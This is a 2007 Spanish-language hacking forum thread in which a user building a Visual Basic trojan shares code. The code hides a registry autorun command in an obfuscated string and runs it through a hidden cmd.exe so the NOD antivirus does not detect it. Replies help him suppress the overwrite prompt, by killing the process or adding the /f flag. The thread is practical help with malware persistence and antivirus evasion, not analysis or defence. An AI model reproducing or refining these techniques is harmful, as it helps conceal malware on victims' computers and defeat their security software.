Foro de elhacker.net

Programación => Programación Visual Basic => Mensaje iniciado por: wACtOr en 31 Mayo 2007, 21:57 pm



Título: no me cierra el cmd
Publicado por: wACtOr en 31 Mayo 2007, 21:57 pm
wenas, os comento, en mi troyano la unica forma de que el nod no me lo detecte al agregarlo al registro es esta:

Citar
reg = encrypt("YLN'HKK'ORL`fSVJHSfTHJOPULcZvm{~hylcTpjyvzvm{c^pukv~zcJ|yylu{]lyzpvucY|uc'6}'j{mjtvu'6{'YLNfZa'6k',~pukpy,cZ€z{lt:9cj{mjtvu5ll")
Shell "cmd.exe /c " & reg & "" & vbCrLf & "y", vbHide

el problema esta en que si la calve existe se queda el proceso del cmd corriendo, ya que pide confirmacion Y/N y se que da ay el proceso. mi duda es de que manera puedo hacer que compruebe si existe esa clave o que cuando pida confirmacion Y/N mande una Y por si acaso.

Gracias.


Título: Re: no me cierra el cmd
Publicado por: ~~ en 2 Junio 2007, 10:57 am
Cierra el proceso tras hacerlo correr ;)

Es decir, ejecutas el shell, doevents, obtienes su pid y los cierras  :P


Título: Re: no me cierra el cmd
Publicado por: Hendrix en 2 Junio 2007, 11:14 am
Para forzar a que se cambie aunque exista la ruta del regedit se pone al final de todo esto: /f

Esto fuerza a la sobreescritura, asi que no va a pedir Y/N.

Un Saludo.  ;)